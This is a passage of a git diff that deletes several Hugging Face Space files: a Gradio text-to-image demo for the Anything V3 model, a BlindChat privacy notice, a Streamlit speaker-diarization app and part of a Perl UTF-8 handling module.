            `.replace('_', '____') - - -// return {str, s0, s1, rawStr} -// }) -// })() diff --git a/spaces/merve/hidden-bias/source/fill-in-the-blank/README.md b/spaces/merve/hidden-bias/source/fill-in-the-blank/README.md deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/mgxwrites/Mgx-Diffusion-v3.0/app.py b/spaces/mgxwrites/Mgx-Diffusion-v3.0/app.py deleted file mode 100644 index 62c8768d6f448b1a0387eaa5d551f3743ebd9462..0000000000000000000000000000000000000000 --- a/spaces/mgxwrites/Mgx-Diffusion-v3.0/app.py +++ /dev/null @@ -1,276 +0,0 @@ -from diffusers import AutoencoderKL, UNet2DConditionModel, StableDiffusionPipeline, StableDiffusionImg2ImgPipeline, DPMSolverMultistepScheduler -import gradio as gr -import torch -from PIL import Image -import utils -import datetime -import time -import psutil - -start_time = time.time() -is_colab = utils.is_google_colab() - -class Model: - def __init__(self, name, path="", prefix=""): - self.name = name - self.path = path - self.prefix = prefix - self.pipe_t2i = None - self.pipe_i2i = None - -models = [ - Model("anything v3", "Linaqruf/anything-v3.0", "anything v3 style"), - ] - # Model("Spider-Verse", "nitrosocke/spider-verse-diffusion", "spiderverse style "), - # Model("Balloon Art", "Fictiverse/Stable_Diffusion_BalloonArt_Model", "BalloonArt "), - # Model("Elden Ring", "nitrosocke/elden-ring-diffusion", "elden ring style "), - # Model("Tron Legacy", "dallinmackay/Tron-Legacy-diffusion", "trnlgcy ") - #Model("Pokémon", "lambdalabs/sd-pokemon-diffusers", ""), - #Model("Pony Diffusion", "AstraliteHeart/pony-diffusion", ""), - #Model("Robo Diffusion", "nousr/robo-diffusion", ""), - -scheduler = DPMSolverMultistepScheduler( - beta_start=0.00085, - beta_end=0.012, - beta_schedule="scaled_linear", - num_train_timesteps=1000, - trained_betas=None, - predict_epsilon=True, - thresholding=False, - algorithm_type="dpmsolver++", - solver_type="midpoint", - lower_order_final=True, -) - -custom_model = None -if is_colab: - models.insert(0, Model("Custom model")) - custom_model = models[0] - -last_mode = "txt2img" -current_model = models[1] if is_colab else models[0] -current_model_path = current_model.path - -if is_colab: - pipe = StableDiffusionPipeline.from_pretrained(current_model.path, torch_dtype=torch.float16, scheduler=scheduler, safety_checker=lambda images, clip_input: (images, False)) - -else: # download all models - print(f"{datetime.datetime.now()} Downloading vae...") - vae = AutoencoderKL.from_pretrained(current_model.path, subfolder="vae", torch_dtype=torch.float16) - for model in models: - try: - print(f"{datetime.datetime.now()} Downloading {model.name} model...") - unet = UNet2DConditionModel.from_pretrained(model.path, subfolder="unet", torch_dtype=torch.float16) - model.pipe_t2i = StableDiffusionPipeline.from_pretrained(model.path, unet=unet, vae=vae, torch_dtype=torch.float16, scheduler=scheduler) - model.pipe_i2i = StableDiffusionImg2ImgPipeline.from_pretrained(model.path, unet=unet, vae=vae, torch_dtype=torch.float16, scheduler=scheduler) - except Exception as e: - print(f"{datetime.datetime.now()} Failed to load model " + model.name + ": " + str(e)) - models.remove(model) - pipe = models[0].pipe_t2i - -if torch.cuda.is_available(): - pipe = pipe.to("cuda") - -device = "GPU 🔥" if torch.cuda.is_available() else "CPU 🥶" - -def error_str(error, title="Error"): - return f"""#### {title} - {error}""" if error else "" - -def custom_model_changed(path): - models[0].path = path - global current_model - current_model = models[0] - -def on_model_change(model_name): - - prefix = "Enter prompt. \"" + next((m.prefix for m in models if m.name == model_name), None) + "\" is prefixed automatically" if model_name != models[0].name else "Don't forget to use the custom model prefix in the prompt!" - - return gr.update(visible = model_name == models[0].name), gr.update(placeholder=prefix) - -def inference(model_name, prompt, guidance, steps, width=512, height=512, seed=0, img=None, strength=0.5, neg_prompt=""): - - print(psutil.virtual_memory()) # print memory usage - - global current_model - for model in models: - if model.name == model_name: - current_model = model - model_path = current_model.path - - generator = torch.Generator('cuda').manual_seed(seed) if seed != 0 else None - - try: - if img is not None: - return img_to_img(model_path, prompt, neg_prompt, img, strength, guidance, steps, width, height, generator), None - else: - return txt_to_img(model_path, prompt, neg_prompt, guidance, steps, width, height, generator), None - except Exception as e: - return None, error_str(e) - -def txt_to_img(model_path, prompt, neg_prompt, guidance, steps, width, height, generator): - - print(f"{datetime.datetime.now()} txt_to_img, model: {current_model.name}") - - global last_mode - global pipe - global current_model_path - if model_path != current_model_path or last_mode != "txt2img": - current_model_path = model_path - - if is_colab or current_model == custom_model: - pipe = StableDiffusionPipeline.from_pretrained(current_model_path, torch_dtype=torch.float16, scheduler=scheduler, safety_checker=lambda images, clip_input: (images, False)) - else: - pipe = pipe.to("cpu") - pipe = current_model.pipe_t2i - - if torch.cuda.is_available(): - pipe = pipe.to("cuda") - last_mode = "txt2img" - - prompt = current_model.prefix + prompt - result = pipe( - prompt, - negative_prompt = neg_prompt, - # num_images_per_prompt=n_images, - num_inference_steps = int(steps), - guidance_scale = guidance, - width = width, - height = height, - generator = generator) - - return replace_nsfw_images(result) - -def img_to_img(model_path, prompt, neg_prompt, img, strength, guidance, steps, width, height, generator): - - print(f"{datetime.datetime.now()} img_to_img, model: {model_path}") - - global last_mode - global pipe - global current_model_path - if model_path != current_model_path or last_mode != "img2img": - current_model_path = model_path - - if is_colab or current_model == custom_model: - pipe = StableDiffusionImg2ImgPipeline.from_pretrained(current_model_path, torch_dtype=torch.float16, scheduler=scheduler, safety_checker=lambda images, clip_input: (images, False)) - else: - pipe = pipe.to("cpu") - pipe = current_model.pipe_i2i - - if torch.cuda.is_available(): - pipe = pipe.to("cuda") - last_mode = "img2img" - - prompt = current_model.prefix + prompt - ratio = min(height / img.height, width / img.width) - img = img.resize((int(img.width * ratio), int(img.height * ratio)), Image.LANCZOS) - result = pipe( - prompt, - negative_prompt = neg_prompt, - # num_images_per_prompt=n_images, - init_image = img, - num_inference_steps = int(steps), - strength = strength, - guidance_scale = guidance, - width = width, - height = height, - generator = generator) - - return replace_nsfw_images(result) - -def replace_nsfw_images(results): - - if is_colab: - return results.images[0] - - for i in range(len(results.images)): - if results.nsfw_content_detected[i]: - results.images[i] = Image.open("nsfw.png") - return results.images[0] - -css = """.finetuned-diffusion-div div{display:inline-flex;align-items:center;gap:.8rem;font-size:1.75rem}.finetuned-diffusion-div div h1{font-weight:900;margin-bottom:7px}.finetuned-diffusion-div p{margin-bottom:10px;font-size:94%}a{text-decoration:underline}.tabs{margin-top:0;margin-bottom:0}#gallery{min-height:20rem} -""" -with gr.Blocks(css=css) as demo: - gr.HTML( - f""" -
            -
            -

            Anything V3

            -
            -

            - Demo for Anything V3 -

            -

            You can skip the queue by duplicating this space: Duplicate Space

            -

            -
            - """ - ) - with gr.Row(): - - with gr.Column(scale=55): - with gr.Group(): - model_name = gr.Dropdown(label="Model", choices=[m.name for m in models], value=current_model.name) - with gr.Box(visible=False) as custom_model_group: - custom_model_path = gr.Textbox(label="Custom model path", placeholder="Path to model, e.g. nitrosocke/Arcane-Diffusion", interactive=True) - gr.HTML("
            Custom models have to be downloaded first, so give it some time.
            ") - - with gr.Row(): - prompt = gr.Textbox(label="Prompt", show_label=False, max_lines=2,placeholder="Enter prompt. Style applied automatically").style(container=False) - generate = gr.Button(value="Generate").style(rounded=(False, True, True, False)) - - - image_out = gr.Image(height=512) - # gallery = gr.Gallery( - # label="Generated images", show_label=False, elem_id="gallery" - # ).style(grid=[1], height="auto") - error_output = gr.Markdown() - - with gr.Column(scale=45): - with gr.Tab("Options"): - with gr.Group(): - neg_prompt = gr.Textbox(label="Negative prompt", placeholder="What to exclude from the image") - - # n_images = gr.Slider(label="Images", value=1, minimum=1, maximum=4, step=1) - - with gr.Row(): - guidance = gr.Slider(label="Guidance scale", value=7.5, maximum=15) - steps = gr.Slider(label="Steps", value=25, minimum=2, maximum=75, step=1) - - with gr.Row(): - width = gr.Slider(label="Width", value=512, minimum=64, maximum=1024, step=8) - height = gr.Slider(label="Height", value=512, minimum=64, maximum=1024, step=8) - - seed = gr.Slider(0, 2147483647, label='Seed (0 = random)', value=0, step=1) - - with gr.Tab("Image to image"): - with gr.Group(): - image = gr.Image(label="Image", height=256, tool="editor", type="pil") - strength = gr.Slider(label="Transformation strength", minimum=0, maximum=1, step=0.01, value=0.5) - - if is_colab: - model_name.change(on_model_change, inputs=model_name, outputs=[custom_model_group, prompt], queue=False) - custom_model_path.change(custom_model_changed, inputs=custom_model_path, outputs=None) - # n_images.change(lambda n: gr.Gallery().style(grid=[2 if n > 1 else 1], height="auto"), inputs=n_images, outputs=gallery) - - inputs = [model_name, prompt, guidance, steps, width, height, seed, image, strength, neg_prompt] - outputs = [image_out, error_output] - prompt.submit(inference, inputs=inputs, outputs=outputs) - generate.click(inference, inputs=inputs, outputs=outputs) - - ex = gr.Examples([ - [models[0].name, "iron man", 7.5, 50], - - ], inputs=[model_name, prompt, guidance, steps, seed], outputs=outputs, fn=inference, cache_examples=False) - - gr.HTML(""" -
            -
            -

            Model by Linaqruf

            -
            - """) - -print(f"Space built in {time.time() - start_time:.2f} seconds") - -if not is_colab: - demo.queue(concurrency_count=1) -demo.launch(debug=is_colab, share=is_colab) \ No newline at end of file diff --git a/spaces/mithril-security/blind_chat/PRIVACY.md b/spaces/mithril-security/blind_chat/PRIVACY.md deleted file mode 100644 index 6113ae4c06e26cb570c74031e7ee21e40cd89e5c..0000000000000000000000000000000000000000 --- a/spaces/mithril-security/blind_chat/PRIVACY.md +++ /dev/null @@ -1,17 +0,0 @@ -# About & Privacy - BlindChat - -## Privacy - -Last updated: September 15, 2023 - -No conversations are recorded. All computation happens on your device, and conversations are stored locally in the browser’s cache. - -We don’t and never will see your data, so we cannot train on your data. Your data remains yours. - -## About - -BlindChat is an open-source project to provide fully in-browser and private Conversational AI. - -It is currently developed and maintained by [Mithril Security](https://www.mithrilsecurity.io/), a startup aiming to make AI more private. - -You can find more information on our [Github](https://github.com/mithril-security/blind_chat/), join us on our [Discord](https://discord.com/invite/TxEHagpWd4), or directly [contact us](mailto:contact@mithrilsecurity.io). diff --git a/spaces/ml6team/Speaker-Diarization/app.py b/spaces/ml6team/Speaker-Diarization/app.py deleted file mode 100644 index 1c39e9d791d45c3a7d0602e60762abfed7350b20..0000000000000000000000000000000000000000 --- a/spaces/ml6team/Speaker-Diarization/app.py +++ /dev/null @@ -1,168 +0,0 @@ -""" -General streamlit diarization application -""" -import os -import shutil -from io import BytesIO -from typing import Dict, Union -from pathlib import Path - -import librosa -import librosa.display -import matplotlib.figure -import numpy as np -import streamlit as st -import streamlit.uploaded_file_manager -from PIL import Image -from pydub import AudioSegment -from matplotlib import pyplot as plt - -import configs -from utils import audio_utils, text_utils, general_utils, streamlit_utils -from diarizers import pyannote_diarizer, nemo_diarizer - -plt.rcParams["figure.figsize"] = (10, 5) - - -def plot_audio_diarization(diarization_figure: Union[plt.gcf, np.array], diarization_name: str, - audio_data: np.array, - sampling_frequency: int): - """ - Function that plots the audio along with the different applied diarization techniques - Args: - diarization_figure (plt.gcf): the diarization figure to plot - diarization_name (str): the name of the diarization technique - audio_data (np.array): the audio numpy array - sampling_frequency (int): the audio sampling frequency - """ - col1, col2 = st.columns([3, 5]) - with col1: - st.markdown( - f"

            Original

            ", - unsafe_allow_html=True, - ) - st.markdown("

            ", unsafe_allow_html=True) - - st.audio(audio_utils.create_st_audio_virtualfile(audio_data, sampling_frequency)) - with col2: - st.markdown( - f"

            {diarization_name}

            ", - unsafe_allow_html=True, - ) - - if type(diarization_figure) == matplotlib.figure.Figure: - buf = BytesIO() - diarization_figure.savefig(buf, format="png") - st.image(buf) - else: - st.image(diarization_figure) - st.markdown("---") - - -def execute_diarization(file_uploader: st.uploaded_file_manager.UploadedFile, selected_option: any, - sample_option_dict: Dict[str, str], - diarization_checkbox_dict: Dict[str, bool], - session_id: str): - """ - Function that exectutes the diarization based on the specified files and pipelines - Args: - file_uploader (st.uploaded_file_manager.UploadedFile): the uploaded streamlit audio file - selected_option (any): the selected option of samples - Dict[str, str]: a dictionary where the name is the file name (without extension to be listed - as an option for the user) and the value is the original file name - diarization_checkbox_dict (Dict[str, bool]): dictionary where the key is the Diarization - technique name and the value is a boolean indicating whether to apply that technique - session_id (str): unique id of the user session - """ - user_folder = os.path.join(configs.UPLOADED_AUDIO_SAMPLES_DIR, session_id) - Path(user_folder).mkdir(parents=True, exist_ok=True) - - if file_uploader is not None: - file_name = file_uploader.name - file_path = os.path.join(user_folder, file_name) - audio = AudioSegment.from_wav(file_uploader).set_channels(1) - # slice first 30 seconds (slicing is done by ms) - audio = audio[0:1000 * 30] - audio.export(file_path, format='wav') - else: - file_name = sample_option_dict[selected_option] - file_path = os.path.join(configs.AUDIO_SAMPLES_DIR, file_name) - - audio_data, sampling_frequency = librosa.load(file_path) - - nb_pipelines_to_run = sum(pipeline_bool for pipeline_bool in diarization_checkbox_dict.values()) - pipeline_count = 0 - for diarization_idx, (diarization_name, diarization_bool) in \ - enumerate(diarization_checkbox_dict.items()): - - if diarization_bool: - pipeline_count += 1 - if diarization_name == 'pyannote': - diarizer = pyannote_diarizer.PyannoteDiarizer(file_path) - elif diarization_name == 'NeMo': - diarizer = nemo_diarizer.NemoDiarizer(file_path, user_folder) - else: - raise NotImplementedError('Framework not recognized') - - if file_uploader is not None: - with st.spinner( - f"Executing {pipeline_count}/{nb_pipelines_to_run} diarization pipelines " - f"({diarization_name}). This might take 1-2 minutes..."): - diarizer_figure = diarizer.get_diarization_figure() - else: - diarizer_figure = Image.open(f"{configs.PRECOMPUTED_DIARIZATION_FIGURE}/" - f"{file_name.rsplit('.')[0]}_{diarization_name}.png") - - plot_audio_diarization(diarizer_figure, diarization_name, audio_data, - sampling_frequency) - - shutil.rmtree(user_folder) - - -st.set_page_config( - page_title="📜 Audio diarization visualization 📜", - page_icon="", - layout="wide", - initial_sidebar_state="auto", - menu_items={ - 'Get help': None, - 'Report a bug': None, - 'About': None, - } -) - -text_utils.intro_container() -# 2.1) Diarization method -text_utils.demo_container() -st.markdown("Choose the Diarization method here:") - -diarization_checkbox_dict = {} -for diarization_method in configs.DIARIZATION_METHODS: - diarization_checkbox_dict[diarization_method] = st.checkbox( - diarization_method) - -# 2.2) Diarization upload/sample select -st.markdown("(Optional) Upload an audio file here:") -file_uploader = st.file_uploader( - label="", type=[".wav", ".wave"] -) - -sample_option_dict = general_utils.get_dict_of_audio_samples(configs.AUDIO_SAMPLES_DIR) -st.markdown("Or select a sample file here:") -selected_option = st.selectbox( - label="", options=list(sample_option_dict.keys()) -) -st.markdown("---") - -## 2.3) Apply specified diarization pipeline -if st.button("Apply"): - session_id = streamlit_utils.get_session() - execute_diarization( - file_uploader=file_uploader, - selected_option=selected_option, - sample_option_dict=sample_option_dict, - diarization_checkbox_dict=diarization_checkbox_dict, - session_id=session_id - ) - -text_utils.conlusion_container() diff --git a/spaces/mms-meta/MMS/uroman/lib/NLP/UTF8.pm b/spaces/mms-meta/MMS/uroman/lib/NLP/UTF8.pm deleted file mode 100644 index b28cb4dede3b84f45aeade2e24f240e3a39e7cc1..0000000000000000000000000000000000000000 --- a/spaces/mms-meta/MMS/uroman/lib/NLP/UTF8.pm +++ /dev/null @@ -1,1404 +0,0 @@ -################################################################ -# # -# UTF8 # -# # -################################################################ - -package NLP::UTF8; - -use NLP::utilities; -$util = NLP::utilities; - -%empty_ht = (); - -sub new { - local($caller) = @_; - - my $object = {}; - my $class = ref( $caller ) || $caller; - bless($object, $class); - return $object; -} - -sub unicode_string2string { -# input: string that might contain unicode sequences such as "U+0627" -# output: string in pure utf-8 - local($caller,$s) = @_; - - my $pre; - my $unicode; - my $post; - my $r1; - my $r2; - my $r3; - - ($pre,$unicode,$post) = ($s =~ /^(.*)(?:U\+|\\u)([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])(.*)$/); - return $s unless defined($post); - $r1 = $caller->unicode_string2string($pre); - $r2 = $caller->unicode_hex_string2string($unicode); - $r3 = $caller->unicode_string2string($post); - $result = $r1 . $r2 . $r3; - return $result; -} - -sub unicode_hex_string2string { -# input: "0627" (interpreted as hex code) -# output: utf-8 string for Arabic letter alef - local($caller,$unicode) = @_; - return "" unless defined($unicode); - my $d = hex($unicode); - return $caller->unicode2string($d); -} - -sub unicode2string { -# input: non-neg integer, e.g. 0x627 -# output: utf-8 string for Arabic letter alef - local($caller,$d) = @_; - return "" unless defined($d) && $d >= 0; - return sprintf("%c",$d) if $d <= 0x7F; - - my $lastbyte1 = ($d & 0x3F) | 0x80; - $d >>= 6; - return sprintf("%c%c",$d | 0xC0, $lastbyte1) if $d <= 0x1F; - - my $lastbyte2 = ($d & 0x3F) | 0x80; - $d >>= 6; - return sprintf("%c%c%c",$d | 0xE0, $lastbyte2, $lastbyte1) if $d <= 0xF; - - my $lastbyte3 = ($d & 0x3F) | 0x80; - $d >>= 6; - return sprintf("%c%c%c%c",$d | 0xF0, $lastbyte3, $lastbyte2, $lastbyte1) if $d <= 0x7; - - my $lastbyte4 = ($d & 0x3F) | 0x80; - $d >>= 6; - return sprintf("%c%c%c%c%c",$d | 0xF8, $lastbyte4, $lastbyte3, $lastbyte2, $lastbyte1) if $d <= 0x3; - - my $lastbyte5 = ($d & 0x3F) | 0x80; - $d >>= 6; - return sprintf("%c%c%c%c%c%c",$d | 0xFC, $lastbyte5, $lastbyte4, $lastbyte3, $lastbyte2, $lastbyte1) if $d <= 0x1; - return ""; # bad input -} - -sub html2utf8 { - local($caller, $string) = @_; - - return $string unless $string =~ /\&\#\d{3,5};/; - - my $prev = ""; - my $s = $string; - while ($s ne $prev) { - $prev = $s; - ($pre,$d,$post) = ($s =~ /^(.*)\&\#(\d+);(.*)$/); - if (defined($d) && ((($d >= 160) && ($d <= 255)) - || (($d >= 1500) && ($d <= 1699)) - || (($d >= 19968) && ($d <= 40879)))) { - $html_code = "\&\#" . $d . ";"; - $utf8_code = $caller->unicode2string($d); - $s =~ s/$html_code/$utf8_code/; - } - } - return $s; -} - -sub xhtml2utf8 { - local($caller, $string) = @_; - - return $string unless $string =~ /\&\#x[0-9a-fA-F]{2,5};/; - - my $prev = ""; - my $s = $string; - while ($s ne $prev) { - $prev = $s; - if (($pre, $html_code, $x, $post) = ($s =~ /^(.*)(\&\#x([0-9a-fA-F]{2,5});)(.*)$/)) { - $utf8_code = $caller->unicode_hex_string2string($x); - $s =~ s/$html_code/$utf8_code/; - } - } - return $s; -} - -sub utf8_marker { - return sprintf("%c%c%c\n", 0xEF, 0xBB, 0xBF); -} - -sub enforcer { -# input: string that might not conform to utf-8 -# output: string in pure utf-8, with a few "smart replacements" and possibly "?" - local($caller,$s,$no_repair) = @_; - - my $ascii; - my $utf8; - my $rest; - - return $s if $s =~ /^[\x00-\x7F]*$/; - - $no_repair = 0 unless defined($no_repair); - $orig = $s; - $result = ""; - - while ($s ne "") { - ($ascii,$rest) = ($s =~ /^([\x00-\x7F]+)(.*)$/); - if (defined($ascii)) { - $result .= $ascii; - $s = $rest; - next; - } - ($utf8,$rest) = ($s =~ /^([\xC0-\xDF][\x80-\xBF])(.*)$/); - ($utf8,$rest) = ($s =~ /^([\xE0-\xEF][\x80-\xBF][\x80-\xBF])(.*)$/) - unless defined($rest); - ($utf8,$rest) = ($s =~ /^([\xF0-\xF7][\x80-\xBF][\x80-\xBF][\x80-\xBF])(.*)$/) - unless defined($rest); - ($utf8,$rest) = ($s =~ /^([\xF8-\xFB][\x80-\xBF][\x80-\xBF][\x80-\xBF][\x80-\xBF])(.*)$/) - unless defined($rest); - if (defined($utf8)) { - $result .= $utf8; - $s = $rest; - next; - } - ($c,$rest) = ($s =~ /^(.)(.*)$/); - if (defined($c)) { - if ($no_repair) { $result .= "?"; } - elsif ($c =~ /\x85/) { $result .= "..."; } - elsif ($c =~ /\x91/) { $result .= "'"; } - elsif ($c =~ /\x92/) { $result .= "'"; } - elsif ($c =~ /\x93/) { $result .= $caller->unicode2string(0x201C); } - elsif ($c =~ /\x94/) { $result .= $caller->unicode2string(0x201D); } - elsif ($c =~ /[\xC0-\xFF]/) { - $c2 = $c; - $c2 =~ tr/[\xC0-\xFF]/[\x80-\xBF]/; - $result .= "\xC3$c2"; - } else { - $result .= "?"; - } - $s = $rest; - next; - } - $s = ""; - } - $result .= "\n" if ($orig =~ /\n$/) && ! ($result =~ /\n$/); - return $result; -} - -sub split_into_utf8_characters { -# input: utf8 string -# output: list of sub-strings, each representing a utf8 character - local($caller,$string,$group_control, *ht) = @_; - - @characters = (); - $end_of_token_p_string = ""; - $skipped_bytes = ""; - $group_control = "" unless defined($group_control); - $group_ascii_numbers = ($group_control =~ /ASCII numbers/); - $group_ascii_spaces = ($group_control =~ /ASCII spaces/); - $group_ascii_punct = ($group_control =~ /ASCII punct/); - $group_ascii_chars = ($group_control =~ /ASCII chars/); - $group_xml_chars = ($group_control =~ /XML chars/); - $group_xml_tags = ($group_control =~ /XML tags/); - $return_only_chars = ($group_control =~ /return only chars/); - $return_trailing_whitespaces = ($group_control =~ /return trailing whitespaces/); - if ($group_control =~ /ASCII all/) { - $group_ascii_numbers = 1; - $group_ascii_spaces = 1; - $group_ascii_chars = 1; - $group_ascii_punct = 1; - } - if ($group_control =~ /(XML chars and tags|XML tags and chars)/) { - $group_xml_chars = 1; - $group_xml_tags = 1; - } - $orig_string = $string; - $string .= " "; - while ($string =~ /\S/) { - # one-character UTF-8 = ASCII - if ($string =~ /^[\x00-\x7F]/) { - if ($group_xml_chars - && (($dec_unicode, $rest) = ($string =~ /^&#(\d+);(.*)$/s)) - && ($utf8_char = $caller->unicode2string($dec_unicode))) { - push(@characters, $utf8_char); - $string = $rest; - } elsif ($group_xml_chars - && (($hex_unicode, $rest) = ($string =~ /^&#x([0-9a-f]{1,6});(.*)$/is)) - && ($utf8_char = $caller->unicode_hex_string2string($hex_unicode))) { - push(@characters, $utf8_char); - $string = $rest; - } elsif ($group_xml_chars - && (($html_entity_name, $rest) = ($string =~ /^&([a-z]{1,6});(.*)$/is)) - && ($dec_unicode = $ht{HTML_ENTITY_NAME_TO_DECUNICODE}->{$html_entity_name}) - && ($utf8_char = $caller->unicode2string($dec_unicode)) - ) { - push(@characters, $utf8_char); - $string = $rest; - } elsif ($group_xml_tags - && (($tag, $rest) = ($string =~ /^(<\/?[a-zA-Z][-_:a-zA-Z0-9]*(\s+[a-zA-Z][-_:a-zA-Z0-9]*=\"[^"]*\")*\s*\/?>)(.*)$/s))) { - push(@characters, $tag); - $string = $rest; - } elsif ($group_ascii_numbers && ($string =~ /^[12]\d\d\d\.[01]?\d.[0-3]?\d([^0-9].*)?$/)) { - ($date) = ($string =~ /^(\d\d\d\d\.\d?\d.\d?\d)([^0-9].*)?$/); - push(@characters,$date); - $string = substr($string, length($date)); - } elsif ($group_ascii_numbers && ($string =~ /^\d/)) { - ($number) = ($string =~ /^(\d+(,\d\d\d)*(\.\d+)?)/); - push(@characters,$number); - $string = substr($string, length($number)); - } elsif ($group_ascii_spaces && ($string =~ /^(\s+)/)) { - ($space) = ($string =~ /^(\s+)/); - $string = substr($string, length($space)); - } elsif ($group_ascii_punct && (($punct_seq) = ($string =~ /^(-+|\.+|[:,%()"])/))) { - push(@characters,$punct_seq); - $string = substr($string, length($punct_seq)); - } elsif ($group_ascii_chars && (($word) = ($string =~ /^(\$[A-Z]*|[A-Z]{1,3}\$)/))) { - push(@characters,$word); - $string = substr($string, length($word)); - } elsif ($group_ascii_chars && (($abbrev) = ($string =~ /^((?:Jan|Feb|Febr|Mar|Apr|Jun|Jul|Aug|Sep|Sept|Oct|Nov|Dec|Mr|Mrs|Dr|a.m|p.m)\.)/))) { - push(@characters,$abbrev); - $string = substr($string, length($abbrev)); - } elsif ($group_ascii_chars && (($word) = ($string =~ /^(second|minute|hour|day|week|month|year|inch|foot|yard|meter|kilometer|mile)-(?:long|old)/i))) { - push(@characters,$word); - $string = substr($string, length($word)); - } elsif ($group_ascii_chars && (($word) = ($string =~ /^(zero|one|two|three|four|five|six|seven|eight|nine|ten|eleven|twelve|thirteen|fourteen|fifteen|sixteen|seventeen|eighteen|nineteen|twenty|thirty|forty|fifty|sixty|seventy|eighty|ninety|hundred|thousand|million|billion|trillion)-/i))) { - push(@characters,$word); - $string = substr($string, length($word)); - } elsif ($group_ascii_chars && (($word) = ($string =~ /^([a-zA-Z]+)(?:[ ,;%?|()"]|'s |' |\. |\d+[:hms][0-9 ])/))) { - push(@characters,$word); - $string = substr($string, length($word)); - } elsif ($group_ascii_chars && ($string =~ /^([\x21-\x27\x2A-\x7E]+)/)) { # exclude () - ($ascii) = ($string =~ /^([\x21-\x27\x2A-\x7E]+)/); # ASCII black-characters - push(@characters,$ascii); - $string = substr($string, length($ascii)); - } elsif ($group_ascii_chars && ($string =~ /^([\x21-\x7E]+)/)) { - ($ascii) = ($string =~ /^([\x21-\x7E]+)/); # ASCII black-characters - push(@characters,$ascii); - $string = substr($string, length($ascii)); - } elsif ($group_ascii_chars && ($string =~ /^([\x00-\x7F]+)/)) { - ($ascii) = ($string =~ /^([\x00-\x7F]+)/); - push(@characters,$ascii); - $string = substr($string, length($ascii)); - } else { - push(@characters,substr($string, 0, 1)); - $string = substr($string, 1); - } - - # two-character UTF-8 - } elsif ($string =~ /^[\xC0-\xDF][\x80-\xBF]/) { - push(@characters,substr($string, 0, 2)); - $string = substr($string, 2); - - # three-character UTF-8 - } elsif ($string =~ /^[\xE0-\xEF][\x80-\xBF][\x80-\xBF]/) { - push(@characters,substr($string, 0, 3)); - $string = substr($string, 3); - - # four-character UTF-8 - } elsif ($string =~ /^[\xF0-\xF7][\x80-\xBF][\x80-\xBF][\x80-\xBF]/) { - push(@characters,substr($string, 0, 4)); - $string = substr($string, 4); - - # five-character UTF-8 - } elsif ($string =~ /^[\xF8-\xFB][\x80-\xBF][\x80-\xBF][\x80-\xBF][\x80-\xBF]/) { - push(@characters,substr($string, 0, 5)); - $string = substr($string, 5); - - # six-character UTF-8 - } elsif ($string =~ /^[\xFC-\xFD][\x80-\xBF][\x80-\xBF][\x80-\xBF][\x80-\xBF][\x80-\xBF]/) { - push(@characters,substr($string, 0, 6)); - $string = substr($string, 6); - - # not a UTF-8 character - } else { - $skipped_bytes .= substr($string, 0, 1); - $string = substr($string, 1); - } - - $end_of_token_p_string .= ($string =~ /^\S/) ? "0" : "1" - if $#characters >= length($end_of_token_p_string); - } - $string =~ s/ $//; # remove previously added space, but keep original spaces - if ($return_trailing_whitespaces) { - while ($string =~ /^[ \t]/) { - push(@characters,substr($string, 0, 1)); - $string = substr($string, 1); - } - push(@characters, "\n") if $orig_string =~ /\n$/; - } - return ($return_only_chars) ? @characters : ($skipped_bytes, $end_of_token_p_string, @characters); -} - -sub max_substring_info { - local($caller,$s1,$s2,$info_type) = @_; - - ($skipped_bytes1, $end_of_token_p_string1, @char_list1) = $caller->split_into_utf8_characters($s1, "", *empty_ht); - ($skipped_bytes2, $end_of_token_p_string2, @char_list2) = $caller->split_into_utf8_characters($s2, "", *empty_ht); - return 0 if $skipped_bytes1 || $skipped_bytes2; - - $best_substring_start1 = 0; - $best_substring_start2 = 0; - $best_substring_length = 0; - - foreach $start_pos2 ((0 .. $#char_list2)) { - last if $start_pos2 + $best_substring_length > $#char_list2; - foreach $start_pos1 ((0 .. $#char_list1)) { - last if $start_pos1 + $best_substring_length > $#char_list1; - $matching_length = 0; - while (($start_pos1 + $matching_length <= $#char_list1) - && ($start_pos2 + $matching_length <= $#char_list2) - && ($char_list1[$start_pos1+$matching_length] eq $char_list2[$start_pos2+$matching_length])) { - $matching_length++; - } - if ($matching_length > $best_substring_length) { - $best_substring_length = $matching_length; - $best_substring_start1 = $start_pos1; - $best_substring_start2 = $start_pos2; - } - } - } - if ($info_type =~ /^max-ratio1$/) { - $length1 = $#char_list1 + 1; - return ($length1 > 0) ? ($best_substring_length / $length1) : 0; - } elsif ($info_type =~ /^max-ratio2$/) { - $length2 = $#char_list2 + 1; - return ($length2 > 0) ? ($best_substring_length / $length2) : 0; - } elsif ($info_type =~ /^substring$/) { - return join("", @char_list1[$best_substring_start1 .. $best_substring_start1+$best_substring_length-1]); - } else { - $length1 = $#char_list1 + 1; - $length2 = $#char_list2 + 1; - $info = "s1=$s1;s2=$s2"; - $info .= ";best_substring_length=$best_substring_length"; - $info .= ";best_substring_start1=$best_substring_start1"; - $info .= ";best_substring_start2=$best_substring_start2"; - $info .= ";length1=$length1"; - $info .= ";length2=$length2"; - return $info; - } -} - -sub n_shared_chars_at_start { - local($caller,$s1,$s2) = @_; - - my $n = 0; - while (($s1 ne "") && ($s2 ne "")) { - ($c1, $rest1) = ($s1 =~ /^(.[\x80-\xBF]*)(.*)$/); - ($c2, $rest2) = ($s2 =~ /^(.[\x80-\xBF]*)(.*)$/); - if ($c1 eq $c2) { - $n++; - $s1 = $rest1; - $s2 = $rest2; - } else { - last; - } - } - return $n; -} - -sub char_length { - local($caller,$string,$byte_offset) = @_; - - my $char = ($byte_offset) ? substr($string, $byte_offset) : $string; - return 1 if $char =~ /^[\x00-\x7F]/; - return 2 if $char =~ /^[\xC0-\xDF]/; - return 3 if $char =~ /^[\xE0-\xEF]/; - return 4 if $char =~ /^[\xF0-\xF7]/; - return 5 if $char =~ /^[\xF8-\xFB]/; - return 6 if $char =~ /^[\xFC-\xFD]/; - return 0; -} - -sub length_in_utf8_chars { - local($caller,$s) = @_; - - $s =~ s/[\x80-\xBF]//g; - $s =~ s/[\x00-\x7F\xC0-\xFF]/c/g; - return length($s); -} - -sub byte_length_of_n_chars { - local($caller,$char_length,$string,$byte_offset,$undef_return_value) = @_; - - $byte_offset = 0 unless defined($byte_offset); - $undef_return_value = -1 unless defined($undef_return_value); - my $result = 0; - my $len; - foreach $i ((1 .. $char_length)) { - $len = $caller->char_length($string,($byte_offset+$result)); - return 